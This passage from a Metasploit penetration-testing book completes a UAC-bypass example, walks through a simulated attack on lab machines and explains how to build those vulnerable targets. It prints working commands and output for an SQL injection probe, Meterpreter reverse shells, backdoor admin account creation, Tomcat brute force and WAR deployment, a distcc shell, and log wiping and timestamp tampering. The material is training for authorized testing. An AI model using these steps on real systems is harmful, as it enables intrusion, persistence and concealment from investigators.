[*] Started reverse handler on 172.16.32.128:4444
[*] Starting the payload handler...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Post module execution completed
msf post(bypassuac) >
[*] Sending stage (749056 bytes) to 172.16.32.130
[*] Meterpreter session 2 opened (172.16.32.128:4444 ->
172.16.32.130:1106) at Thu June 09
19:50:54 −0500 2011
[*] Session ID 2 (172.16.32.128:4444 -> 172.16.32.130:1106)
processing InitialAutoRunScript
'migrate -f'
[*] Current server process: tYNpQMP.exe (3716)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 3812
[*] New server process: notepad.exe (3812)

msf post(bypassuac) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getsystem
...got system (via technique 1).
meterpreter >

We could also have executed run instead of use within the Meterpreter console and it would have leveraged the default options and executed without having to set up the various options.

Notice in the preceding example that we succeed in gaining system-level rights on a target machine with UAC enabled. This small example demonstrates how the post exploitation modules will ultimately be set up and converted.

This script works simply by uploading a previously compiled executable to the target machine and then running it. Take a look at the post exploitation module for a better idea of what’s going on behind the scenes:

root@bt:optframework3/msf3# nano modules/post/windows/escalate/bypassuac.rb

Wrapping Up

We won’t cover all the details of the post exploitation module because it is nearly identical to the attack shown in Chapter 13. Carefully walk through each line, and then try to build and run your own module.

Walk through existing Meterpreter scripts and look at the different commands, calls, and functions that can be used to create your own script. If you come up with a great idea for a new script, submit it to the Metasploit development team — who knows; it might be a script that others can use!

Chapter 17. Simulated Penetration Test

Penetration testing is the pinnacle for most of us, and successfully bypassing an organization’s defenses during a penetration test is one of our most rewarding experiences. In this chapter, we’ll pull together what you’ve learned in previous chapters as we simulate a complete penetration test. You will be re-creating steps that you’ve seen in previous chapters, so most of what is shown here should be familiar.

Before you begin, download and install Metasploit’s vulnerable Linux virtual machine called Metasploitable. (You can find it at http://www.thepiratebay.org/torrent/5573179/Metasploitable/.) Metasploitable was created to train individuals to use Metasploit for successful exploitation. Follow the directions on the site to install Metasploitable, and then power it on. We’ll be running the Metasploitable virtual machine alongside the Windows XP system to simulate a small networked environment, with one virtual machine acting as an Internet-facing system and another acting as an internal network host.

Note

The simulated penetration test in this chapter is a small one. You would do something more in-depth if your target were a large corporation. We’ve kept this simple to make it easy for you to replicate.

Pre-engagement Interactions

Planning is the first step in pre-engagement. During a true planning phase, we would identify our target(s) and our primary method of planned attack, which might include social engineering, wireless, Internet, or internal attack vectors. Unlike an actual penetration test, here we will not be targeting a specific organization or a group of systems; we will perform a simulation using our known virtual machine.

For the purposes of this simulation, our target will be the protected Metasploitable virtual machine at IP address 172.16.32.162 (to configure Metasploitable, use the username and password of msfadmin). The Metasploitable target is a machine attached to an internal network, protected by a firewall, and not directly connected to the Internet. Our Windows XP machine is behind the firewall (turn on Windows Firewall) with only port 80 open at IP address 172.16.32.131.

Intelligence Gathering

The next step, intelligence gathering, is one of the most important phases in the process, because if you miss something here you might miss an entire avenue of attack. Our goal at this point is to understand what we are going to attack and determine how we might gain access to the system.

We begin with a basic nmap scan (as shown next) against our Windows XP virtual machine, and we find that port 80 is open. We use nmap’s stealth TCP scan, which is typically effective in detecting ports without triggering defenses. Most IPSs can detect port scans, but because port scans are so common, they are generally considered regular noise and are ignored as long as they’re not very aggressive.

root@bt:/# nmap -sT -P0 172.16.32.131

Starting Nmap 5.21 ( http://nmap.org ) at 2011-05-22 23:29 EDT
Nmap scan report for 172.16.32.131
Host is up (0.00071s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 17.46 seconds

We discover what appears to be a web server running on this server. This is typical when attacking Internet-facing systems, most of which will limit the ports accessible by Internet users. In this example, we find port 80, the standard HTTP port, listening. If we browse to it, we see something similar to Figure 17-1.

Figure 17-1. A web application was identified.

Threat Modeling

Having identified port 80 as open, we could enumerate any available additional systems, but we’re interested only in the single target. Let’s move on to threat modeling and attempt to identify the best route into this system.

The web page we found gives us a chance to enter input in User and Password fields. At this point, you, as a penetration tester, should think outside the box and try to determine what the best avenue is going to be. When you’re performing application security penetration tests, consider using tools other than Metasploit, such as the Burp Suite (http://www.portswigger.net/) when appropriate; don’t feel locked into a single tool set. In the following example, we’ll attempt a manual attack by entering ‘TEST (notice the leading single quote) into the username field and a single quote in the password field. Prior to submitting the form, our username and password fields should look like those in Figure 17-2.

Figure 17-2. Attempting to leverage SQL injection

Take a moment to consider what is occurring on the backend when the server receives this input. Here we simply tried to start a new SQL statement and appended some bogus data to it. You probably won’t find many web applications in the wild that are as easy to attack as this one, but this makes for a good example — and it was not too long ago that these sorts of errors were in fact being discovered all the time. When we click the Submit button, we get the error message shown in Figure 17-3.

This error message indicates that a SQL injection flaw is present based on the SQL exception and the “Incorrect syntax near” message shows that the ‘TEST input caused it. With a quick Google search, we can determine that the backend database is Microsoft SQL, purely based on the error messages that were presented.

We won’t go into how to perform SQL injection on web applications here, but you can easily manipulate the input parameters to attack a given system and completely compromise it. (This was covered briefly in Chapter 11.) Notice that we still haven’t actually attacked a system yet; we’ve simply tried to identify a viable attack vector in the system. Now that we know we can potentially compromise this system, it’s time to move on to the exploitation phase.

Figure 17-3. Error message: SQL injection is present.

Exploitation

When we looked for vulnerabilities in the web application, we found a viable attack vector via SQL injection. In this instance, Fast-Track is our best option for compromising the MS SQL server and gaining access to our target through Meterpreter, because, as you’ll recall from Chapter 11, it attacks Microsoft SQL–based injection vulnerabilities with ease.

After we have a Meterpreter console, we’ll look at how to gain access to the Metasploitable system on the internal network.

Customizing MSFconsole

We’ll use SQLPwnage to deploy the Meterpreter console via SQL injection on the target to gain administrative access to its backend database. Recall from Chapter 11 that SQLPwnage is an automated way of attacking MS SQL–based injection flaws, and it uses multiple methods of attack in an attempt to fully compromise the SQL server via the xp_cmdshell stored procedure.

Before launching the attack, we need to set up some options through msfconsole. For practice, let’s create our own Metasploit listener manually. Fast-Track can set it up for you, but we will be adding the load auto_add_route function within Metasploit so that we can automatically connect to systems on the internal network. We’ll create a listener and launch Fast-Track to attack the system.

root@bt:/opt/framework3/msf3# msfconsole
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.32.129
LHOST => 172.16.32.129
smsf exploit(handler) > set LPORT 443
LPORT => 443
exploit(handler) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 172.16.32.129:443
[*] Starting the payload handler...
msf exploit(handler) >

With our listener waiting for a connection from our soon-to-be compromised target, we launch Fast-Track. (When the xterm window opens, close it since we already have a listener set up.)

[+] Importing 64kb debug bypass payload into Fast-Track... [+]
[+] Import complete, formatting the payload for delivery.. [+]
[+] Payload Formatting prepped and ready for launch. [+]
[+] Executing SQL commands to elevate account permissions. [+]
[+] Initiating stored procedure: 'xp_cmdhshell' if disabled. [+]
[+] Delivery Complete. [+]
Launching MSFCLI Meterpreter Handler
Creating Metasploit Reverse Meterpreter Payload..
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=172.16.32.129,LPORT=443
Taking raw binary and converting to hex.
Raw binary converted to straight hex.
[+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]
[+] Sending chunked payload. Number 1 of 9. This may take a bit. [+]
[+] Sending chunked payload. Number 2 of 9. This may take a bit. [+]

. . . SNIP . . .

[+] Conversion from hex to binary in progress. [+]
[+] Conversion complete. Moving the binary to an executable. [+]
[+] Splitting the hex into 100 character chunks [+]
[+] Split complete. [+]
[+] Prepping the payload for delivery. [+]
Sending chunk 1 of 8, this may take a bit...
Sending chunk 2 of 8, this may take a bit...

. . . SNIP . . .

Using H2B Bypass to convert our Payload to Binary..
Running cleanup before launching the payload....
[+] Launching the PAYLOAD!! This may take up to two or three minutes. [+]

This should look familiar. We’ve essentially attacked the web application through Fast-Track and exploited it via SQL injection attacks. We used the xp_cmdshell stored procedure and the binary-to-hex conversion technique to present a full-fledged Meterpreter shell.

Post Exploitation

At this point, we should have a Meterpreter console running in the background within msfconsole, so we can begin to scan the target’s subnet for other live systems. To do this, we’ll upload nmap to the target and run it from the Windows machine.

First, download nmap from insecure.org in an executable format and save it locally. We’ll be uploading this to our target. Next, we’ll connect to the target via Microsoft’s Remote Desktop Protocol (RDP), a built-in graphical remote administration protocol that lets you interact with the Windows Desktop as if you were sitting in front of the remote machine. After we’re connected with our Meterpreter session, we’ll use the getgui Meterpreter script to tunnel RDP back out to us over port 8080 and add a new administrative user to the system.

We enter rdesktop localhost:8080 from Back|Track’s command line, so we can log into the system with the newly created user account. We then use Meterpreter to upload nmap to the target. Our goal is to install nmap on the compromised Windows target and use the system as a staging ground for further attacks. Conversely you could use scanner/portscan/syn and scanner/portscan/tcp to port scan directly through Metasploit. The choice is a matter of personal preference and needs.

meterpreter > run getgui -e -f 8080
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Starting the port forwarding at local port 8080
[*] Local TCP relay created: 0.0.0.0:8080 <-> 127.0.0.1:3389
meterpreter > shell
Process 2480 created.
Channel 6 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user msf metasploit /add
net user msf metasploit /ADD
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators msf /add
net localgroup administrators msf /add
The command completed successfully.
C:\WINDOWS\system32>
C:\WINDOWS\system32>^Z
Background channel 6? [y/N] y
meterpreter > upload nmap.exe
[*] uploading : nmap.exe -> nmap.exe
[*] uploaded : nmap.exe -> nmap.exe
meterpreter >

We now have our launching pad for additional attacks. With nmap installed on the target, we are essentially sitting on the internal network. We can now attempt to enumerate internally connected systems and further penetrate the network.

Scanning the Metasploitable System

With our Meterpreter session granting us access to the internal network via the load auto_add_route command, we can scan and exploit the inside hosts using the compromised Windows XP target as the launching point. We’re effectively connected to the internal network, so we should be able to reach our Metasploitable system. Let’s begin with a basic port scan.

nmap.exe -sT -A -P0 172.16.32.162

PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
|_ftp-bounce: no banner
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/
5.2.4-2ubuntu5.10 with Suhosin-Patch)
|_html-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_html-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:39:12:B2 (VMware)
No exact OS matches for host (If you know what OS is running on it,
see http://nmap.org/submit/ ).
Network Distance: 1 hop
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user:
<unknown>, NetBIOS MAC: <unknown>
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Name: WORKGROUP\Unknown
|_ System time: 2010-05-21 22:28:01 UTC-4

OS and Service detection performed. Please report any incorrect
results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.19 seconds

Here we see a series of open ports. Based on nmap’s OS detection we see that the scanned system is a UNIX/Linux variant of some sort. Some of these ports should jump out at you, such as FTP, Telnet, HTTP, SSH, Samba, MySQL, PostgreSQL, and Apache.

Identifying Vulnerable Services

Because a few ports look interesting, we’ll start banner-grabbing each one to try to find a way into the system.

msf > use auxiliary/scanner/ftp/ftp_version
msf auxiliary(ftp_version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
msf auxiliary(ftp_version) > run

[*] 172.16.32.162:21 FTP Banner: '220
ProFTPD 1.3.1 Server (Debian) [::ffff:172.16.32.162]\x0d\x0a'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ftp_version) >

Exiting the system, we know now that ProFTPD 1.3.1 is running on port 21. Next we use SSH to learn more about the target. (The addition of the -v flag gives us verbose output.) The next listing tells us that our target is running an older version of OpenSSH, specifically written for Ubuntu:

msf > ssh 172.16.32.162 -v
[*] exec: ssh 172.16.32.162 -v

OpenSSH_5.1p1 Debian-3ubuntu1, OpenSSL 0.9.8g 19 Oct 2007

Now we issue the following to determine the version of Ubuntu running on this system:

msf auxiliary(telnet_version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
msf auxiliary(telnet_version) > run

[*] 172.16.32.162:23 TELNET Ubuntu 8.04\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(telnet_version) >

Great! We know that the system is running Ubuntu 8.04 and that two unencrypted protocols (telnet and FTP) are in use that might come into play later.

Now let’s look at SMTP to see what version our target is running. Remember that we are trying to identify the running versions of the services operating on the various remote systems.

msf > use auxiliary/scanner/smtp/smtp_version
msf auxiliary(smtp_version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
msf auxiliary(smtp_version) > run

[*] 172.16.32.162:25 SMTP 220 metasploitable.localdomain ESMTP
Postfix (Ubuntu)\x0d\x0a
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smtp_version) >

As you can see, the Postfix mail server appears to be running on the Metasploitable server.

This process is continued through all the different ports that have been discovered as listening on our target. The various auxiliary modules are very useful for this work. When you’re finished, you should have a list of the versions of software running on the system, information that you will use when targeting attacks.

Attacking Apache Tomcat

Now we enter the attack phase again, where we start to get our hands dirty.

In the course of our research, we noticed a plethora of vulnerabilities on this system, including direct exploits and brute force possibilities. Now, if we were performing an overt penetration test, we could run vulnerability scanners against the system to find most openings for us, but that would take all the fun out of it! Let’s attack Apache instead.

We notice that Apache Tomcat is installed on port 8180, as shown in our earlier port scans. After a bit of Internet research, we learn that Tomcat is vulnerable to a management interface brute force attack. (In most cases, we can use exploit-db or Google to identify potential vulnerabilities in a given service.) After some more research on the operating version number of the Apache Tomcat installation running on the target, the Tomcat manager seemed the best route for compromising the system. If we can get through Tomcat’s manager function, we can use the HTTP PUT method to deploy our payload on the vulnerable system. We launch the attack as follows (with the list of exploits and payloads snipped):

msf > search apache
[*] Searching loaded modules for pattern 'apache'...

. . . SNIP . . .

msf auxiliary(tomcat_mgr_login) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
smsf auxiliary(tomcat_mgr_login) > set THREADS 50
THREADS => 50
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf auxiliary(tomcat_mgr_login) > set VERBOSE false
VERBOSE => false
emsf auxiliary(tomcat_mgr_login) > run

[+] http://172.16.32.162:8180/manager/html [Apache-Coyote/1.1]
[Tomcat Application Manager]
successful login 'tomcat' : 'tomcat'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tomcat_mgr_login) >

Our brute force attack is successful, and it logs in with the username tomcat and password tomcat. But we don’t yet have a shell.

With our newly discovered credentials, we leverage Apache’s HTTP PUT functionality with the multi/http/tomcat_mgr_deploy exploit to place our payload on the system using the valid username and password that we discovered by brute-forcing the login.

auxiliary(tomcat_mgr_login) > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set password tomcat
password => tomcat
msf exploit(tomcat_mgr_deploy) > set username tomcat
username => tomcat
msf exploit(tomcat_mgr_deploy) > set RHOST 172.16.32.162
RHOST => 172.16.32.162
msf exploit(tomcat_mgr_deploy) > set LPORT 9999
LPORT => 9999
Msf exploit(tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf exploit(tomcat_mgr_deploy) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit
[*] Using manually select target "Linux X86"
[*] Uploading 1669 bytes as FW36owipzcnHeUyIUaX.war ...
[*] Started bind handler
[*] Executing FW36owipzcnHeUyIUaXUGMIdfFjVENQOp4VveswTlma.jsp...
[*] Undeploying FW36owipzcnHeUyIUaX ...
[*] Command shell session 1 opened (172.16.32.129:43474 ->
172.16.32.162:9999) at 2010-05-21 23:57:47 −0400msf
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
tomcat55
ls /root
reset_logs.sh
mkdir rootmoo.txt
mkdir: cannot create directory 'rootmoo.txt': Permission denied

Notice that we cannot write to the root folder, because we’re running from a limited user account and this folder requires root-level permissions. Usually, Apache runs under the Apache user account, which is sometimes apache but which can also be httpd, www-data, among other names. Based on what we know about the operating system version in use on the target, we could use local privilege escalation techniques to gain further access as root. Because we already have some basic access, let’s try a couple of different attacks.

Note

Here’s a little hint in obtaining root access to Metasploitable, without privilege escalation: Check out http://www.exploit-db.com/exploits/5720/ for the SSH predictable PRNG exploit.

Attacking Obscure Services

When we performed only the default nmap port scan, we did not include all possible ports. Because we have now gained initial access to the system, we enter netstat -antp, and we notice other ports that nmap did not scan for when performing the attack. (Remember that in a penetration test we can’t always rely on the defaults to be successful.)

Our scan finds that port 3632 is open and associated with DistCC. An online search tells us that DistCC is a program that distributes builds of C/C++ code to several machines across a network, and it is vulnerable to an attack. (When performing penetration tests, you will often encounter unfamiliar applications and products, and you will need to research the application before you can attack it.)

msf exploit(distcc_exec) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(distcc_exec) > set LHOST 172.16.32.129
LHOST => 172.16.32.129
shomsf exploit(distcc_exec) > set RHOST 172.16.32.162
RHOST => 172.16.32.162
msf exploit(distcc_exec) > show payloads

Compatible Payloads
===================

Name Rank Description
---- ---- -----------
cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via perl)
cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/generic normal Unix Command, Generic command execution
cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet)
cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via perl)
cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)

msf exploit(distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo q6Td9oaTrOkXsBXS;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "q6Td9oaTrOkXsBXS\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (172.16.32.129:4444 ->
172.16.32.162:47002) at 2010-05- 22 00:08:04 −0400

whoami
daemon
mkdir rootmoo
mkdir: cannot create directory 'rootmoo': Permission denied

Notice above that we are still not at root. A local privilege exploit will further compromise the system and give full root access. We won’t tell you the answer here; use what you’ve learned in this book to gain root privileges successfully on the Metasploitable system. One hint is that you can find the exploit at Exploits Database (http://www.exploit-db.com/). Try getting a root Linux/Meterpreter shell on the system on your own.

Covering Your Tracks

Having completed our attacks, our next step is to return to each exploited system to erase our tracks and clean up any mess we’ve left behind. Remnants of a Meterpreter shell or some other pieces of malware should be removed to avoid exposing the system further. For example, when we used the PUT command to compromise the Apache Tomcat instance, an attacker could use the exploit code left behind to compromise the system.

Sometimes, you will need to cover your tracks — for example, when testing the forensics analysis of a compromised system or an incident response program. In such cases, your goal is to thwart any forensics analysis or IDS. It’s often difficult to hide all your tracks, but you should be able to manipulate the system to confuse the examiner and make it almost impossible to identify the extent of the attack.

In most cases, when forensics analysis is performed, if you can mangle the system so that it renders the majority of the examiner’s work almost unreadable and inconclusive, he will most likely identify the system as having been infected or compromised and might not understand how much information you were able to extract from the system. The best way to thwart forensic analysis is to wipe the system completely and rebuild it, removing all traces, but this is rare during a penetration test.

One benefit discussed in a number of chapters is the ability for Meterpreter to reside purely in memory. Often, you’ll find it challenging to detect and react to Meterpreter in memory space. Although research often suggests ways to detect a Meterpreter payload, the Metasploit crew typically responds with a new way to hide Meterpreter.

This is the same cat-and-mouse game that antivirus software vendors play with new releases of Meterpreter. When a new encoder or method for obfuscating a payload is released, vendors can take several months to detect the issues and update their product signatures to catch them. In most cases, it’s relatively difficult for most forensics analysts to identify a purely memory-resident attack vector from Metasploit.

We won’t offer in-depth information about covering your tracks, but a couple of Metasploit features are worth mentioning: timestomp and event_manager. Timestomp is a Meterpreter plug-in that allows you to modify, erase, or set certain attributes on files. Let’s run timestomp first:

meterpreter > timestomp

Usage: timestomp file_path OPTIONS

OPTIONS:

-a <opt> Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c <opt> Set the "creation" time of the file
-e <opt> Set the "mft entry modified" time of the file
-f <opt> Set the MACE of attributes equal to the supplied file
-h Help banner
-m <opt> Set the "last written" time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z <opt> Set all four attributes (MACE) of the file

meterpreter > timestomp C:\\boot.ini -b
[*] Blanking file MACE attributes on C:\boot.ini
meterpreter >

In this example, we changed the timestamp so that when Encase (a popular forensics analysis tool) is used, the timestamps are blank.

The tool event_manager will modify event logs so that they don’t show any information that might reveal that an attack occurred. Here it is in action:

meterpreter > run event_manager
Meterpreter Script for Windows Event Log Query and Clear.

OPTIONS:

-c <opt> Clear a given Event Log (or ALL if no argument specified)
-f <opt> Event ID to filter events on
-h Help menu
-i Show information about Event Logs on the System and their configuration
-l <opt> List a given Event Log.
-p Supress printing filtered logs to screen
-s <opt> Save logs to local CSV file,
optionally specify alternate folder in which to save logs

meterpreter > run event_manager -c
[-] You must specify an eventlog to query!
[*] Application:
[*] Clearing Application
[*] Event Log Application Cleared!
[*] MailCarrier 2.0:
[*] Clearing MailCarrier 2.0
[*] Event Log MailCarrier 2.0 Cleared!
[*] Security:
[*] Clearing Security
[*] Event Log Security Cleared!
[*] System:
[*] Clearing System
[*] Event Log System Cleared!
meterpreter >

In this example, we clear all the event logs, but the examiner might notice other interesting things on the system that could alert him to an attack. In general though, the examiner will not be able to piece together the puzzle to identify what happened during the attack, but he will know that something bad had occurred.

Remember to document your changes to a target system to make it easier to cover your tracks. Usually, you’ll leave a small sliver of information on the system, so you might as well make it extremely difficult for the incident response and forensics analysis team to find it.

Wrapping Up

Having gotten this far, we could continue to attack other machines on the internal network using Metasploit and Meterpreter, with our attacks limited only by our creativity and ability. If this were a larger network, we could further penetrate the network using information gathered from various systems on the network.

For example, earlier in this chapter we compromised a Windows-based system. We could use the Meterpreter console to extract the hash values from that system and then use those credentials to authenticate to other Windows-based systems. The local administrator account is almost always the same from one system to another, so even in a corporate environment, we could use the information from one system to bridge attacks to another.

Penetration testing requires you to think outside the box and combine pieces of a puzzle. We used one method during this chapter, but there are probably several different ways to get into the systems and different avenues of attack you can leverage. This all comes with experience and spending the time to become creative. Persistence is key to penetration testing.

Remember to establish a fundamental set of methodologies you are comfortable with, but change them as necessary. Often, penetration testers change their methodologies at least once per test to stay fresh. Changes might include a new way of attacking a system or use of a new method. Regardless of the method you choose, remember that you can accomplish anything in this field with a bit of experience and hard work.

Appendix A. Configuring Your Target Machines

The best way to learn to use the Metasploit Framework is by practicing — repeating a task until you fully understand how it is accomplished. This appendix explains how to set up a test environment to use with the examples in this book.

Installing and Setting Up the System

The examples in this book use a combination of Back|Track, Ubuntu 9.04, Metasploitable, and Windows XP. Back|Track serves as our vehicle for exploitation, and the Ubuntu and Windows systems are our target systems.

First create an unpatched Windows XP Service Pack 2 installation to test the examples presented throughout this book. The Back|Track and Ubuntu 9.04 virtual machines can be run on a host machine running Windows, Mac OS X, or Linux on any VMware product, including Workstation, Server, Player, Fusion, or ESX.

Note

Be careful with your Ubuntu and Windows XP virtual machines, because these systems are vulnerable and easy to exploit. Do not conduct any sensitive activities on these machines: If you can exploit them, anyone else can, too.

If you don’t already have the free VMware Player for Windows and Linux, download and install it. If you’re using OS X, download the free 30-day trial of VMware Fusion. (If you’re running Windows, you can also use the free VMware Server edition.) After you have installed VMware, double-click the .vmx file to use with VMware, or open the virtual machine files in VMware Player by choosing File ▸ Open and pointing to the folder that contains all the virtual machines and associated files. If you’re installing from an ISO disc image, create a new virtual machine and specify this ISO file as the CD-ROM device.

Note

Download Back|Track from http://www.backtrack-linux.org/ and Ubuntu 9.04 from http://www.vmware.com/appliances/directory/ by searching for Ubuntu 9.04. Metasploitable can be downloaded from http://blog.metasploit.com/2010/05/introducing-metasploitable.html.

Booting Up the Linux Virtual Machines

After powering on either of the Linux virtual machines, you need to log in. The default credentials for both Linux environments are username root and password toor.

If you don’t have a DHCP server on your network, find your system’s address range and use the commands shown in the following listing. (Make sure that you replace your IP address with an unused one, and edit the network interface that you will be using. For more on manual network setup, see http://www.yolinux.com/TUTORIALS/LinuxTutorialNetworking.html.)

root@bt:˜# nano etcnetwork/interfaces
Password:
<inside the nano editor place your valid information into the system>
# The primary network interface
auto eth0 # the interface used
iface eth0 inet static # configure static IP address
address 192.168.1.10 # your IP address you want
netmask 255.255.255.0 # your subnet mask
network 192.168.1.0 # your network address
broadcast 192.168.0.255 # your broadcast address
gateway 192.168.1.1 # your default gateway
<control-x>
<y>

After configuration is complete, your Linux environment should be ready for use. Do not update the Ubuntu installation, because this system should remain vulnerable.

Setting Up a Vulnerable Windows XP Installation

To run the examples in this book, you will need to install a licensed copy of Windows XP on a virtualization platform such as VMware. After you have completed the installation, log in as Administrator, open the Control Panel, switch to Classic View, and choose Windows Firewall. Select Off and click OK. (This may seem unrealistic, but this scenario is more common than you might imagine in large corporations.)

Next, open Automatic Updates and select Turn off Automatic Updates; then click OK. You don’t want Windows to patch vulnerabilities as you’re trying to learn how to exploit them.

Now configure your installation with a static IP address via the Network Connections Control Panel. While not required, doing this will save you from having to recheck the target address every time you launch an exploit.

Configuring Your Web Server on Windows XP

To make things interesting and provide for a larger attack surface, we’ll enable some additional services.

1. In the Control Panel, select Add or Remove Programs, and then select Add/Remove Windows Components. You should be looking at the Windows Components Wizard.

2. Select the checkbox for Internet Information Services (IIS) and click Details. Then select the checkbox for File Transfer Protocol (FTP) Service and click OK. Conveniently enough, the FTP service allows anonymous connections by default.

3. Select the Management and Monitoring Tools checkbox and click OK. By default, this installs the Simple Network Management Protocol (SNMP) and Windows Management Interface (WMI) SNMP Provider.

4. Click Next to complete the installation and reboot the machine for good measure.

The combination of these steps adds different services that we test throughout this book. The IIS server will allow you to run a website and can be downloaded from http://www.secmaniac.com/files/nostarch1.zip. The FTP service will allow you to perform FTP-based attacks against the Windows system, and the SNMP configuration will allow you to test auxiliary modules within Metasploit.

Building a SQL Server

Many database modules within Metasploit and FastTrack target Microsoft SQL Server, so you need to install SQL Server 2005 Express, available for free from Microsoft. As of this writing, you can locate the non–service pack version of SQL Server Express at http://www.microsoft.com/. To install SQL Server Express, you will need to install Windows Installer 3.1 and the .NET Framework 2.0. You can find links to the resources on this page, and all other URLs referenced in this book, at http://www.secmaniac.com/files/nostarch1.zip.

Once you have the prerequisites installed, run the SQL Express installer and select all the defaults except for Authentication Mode. Select Mixed Mode, set a sa login password of password1, and then continue with the installation.

With the basic installation of SQL Server complete, you need to make a few more changes to make it accessible on your network:

1. Select Start ▸ All Programs ▸ Microsoft SQL Server 2005 ▸ Configuration Tools, and then select SQL Server Configuration Manager.

2. When the Configuration Manager starts, select SQL Server 2005 Services, right-click SQL Server (SQLEXPRESS), and select Stop.

3. Expand SQL Server 2005 Network Configuration Manager and select Protocols for SQLEXPRESS, as shown in Figure A-1.

Figure A-1. Protocols for SQLEXPRESS

4. Double-click TCP/IP, and on the Protocol tab, set Enabled to Yes and Listen All to No.

5. Next, while still within the TCP/IP Properties dialog, select the IP Addresses tab and remove any entries under IPAll. Under IP1 and IP2, remove the values for TCP Dynamic Ports and set Active and Enabled for each of them to Yes.

6. Finally, set the IP1 IP Address to match your static IP address set earlier, set the IP2 address to 127.0.0.1, and set the TCP port for each of them to 1433. Your settings should look similar to those shown in Figure A-2. Click OK when you are all set.

Next, you’ll need to enable the SQL Server Browser service:

1. Select SQL Server 2005 Services and double-click SQL Server Browser.

2. On the Service tab, set the Start Mode to Automatic.

Figure A-2. Setting SQL Server IP addresses in the TCP/IP Properties dialog

By default, the SQL Server runs under the low-privilege Network Service account, which is a great default. However, it’s not entirely realistic for what we find deployed in the field, and often administrators change this rather than trying to troubleshoot permissions issues.

On most target systems, we have found that the SQL Server Browser service is running as an elevated SYSTEM-based account. Most systems have the SQL Server Service logged on as Local System, the default in older versions of Microsoft SQL Server (2000 and earlier). Therefore, you should change the account by double-clicking SQL Server (SQLEXPRESS) and setting Log on as to Local System. Click OK when you have finished. Then right-click SQL Server (SQLEXPRESS) and select Start. Do the same with SQL Server browser.

